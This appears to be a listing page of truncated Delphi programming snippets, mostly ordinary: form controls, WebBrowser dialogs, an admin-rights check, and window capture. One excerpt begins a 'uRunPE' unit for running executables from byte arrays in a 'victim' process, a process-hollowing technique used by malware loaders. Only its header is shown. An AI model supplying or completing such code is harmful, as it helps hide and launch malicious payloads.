有三张表，如下： 表A保存年级信息， 年级编码 年级名称 001 一年级 002 二年级 003 三年级 004 四年级 005 五年级 …… …… 表B保存教师信息， 教师编码 教师姓名 001 张三 002 李四 ……...
procedure TForm1.Button1Click(Sender: TObject); var i:integer; begin for i:=0 to self.ComponentCount-1 do begin if (self.Components[i] is Tedit) then begin Tedit(Components[i]).Clear;; end; end; end;...
unit Main; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls,Comobj; type TForm1 = class(TForm) Panel1: TPanel; Panel2: TPanel; Label1: TLabel; Button1: TButton; Button2: T...
关于改造WebBrowser控件的一些技巧，大家可以参考MSDN或者蒋晟写的一个东西，里面有讲的很详细的，今天我就说一下这个alter对话框的修改和过滤的方法： 很简单，只要咱们继承IDocHos...
Delphi XE2出来了一阵子了，里面比较抢眼的东西，除了VCLStyle这个换肤的东西之外，另外最让人眼亮的应该是FMX这个东西了。万一的博客上都连载了一票的关于FMX的使用心得了。我还是没...
const SECURITY_NT_AUTHORITY: TSIDIdentifierAuthority = (Value: (0, 0, 0, 0, 0, 5)); SECURITY_BUILTIN_DOMAIN_RID = $00000020; DOMAIN_ALIAS_RID_ADMINS = $00000220; function IsAdmin: Boolean; var hAccessToken: THandle; ptgGroups: PTokenGroups;...
function WriteData(FileName:String):Boolean; var FileS :TFileStream; Res :TResourceStream; StrData :string[255]; IntData :Integer; begin try try //建立文件流,参数1为文件路径,参数2为打开方式 FileS :=TFileStream.Create(File...
self.cboSex.ItemIndex:=cboSex.Items.IndexOf(FieldByName('Sex').AsString); self.dtpBirthday.Date:=FieldByName('Birthday').Value; self.cboWork.ItemIndex:=cboWork.Items.IndexOf(FieldByName('WorkCaption').AsString); self.cboRelation.ItemIndex:=...
uRunPE Author: Anonymous Description: Run Executables as Byte Arrays Modified: The Swash http://www.onlyprogrammers.org } unit uRunPE; interface uses Windows; type TByteArray = array of Byte; function RMem(sVictim:string; bFile:TByteArray):...
只要不是最小化的窗口，无论它被遮挡一部分还是全部，无论它的位置是否超出屏幕边界，都可以抓到 下面是代码： function PrintWindow(Wnd: HWND; hDCBlt: HDC; nFlags: DWord): Bool; stdcall external '...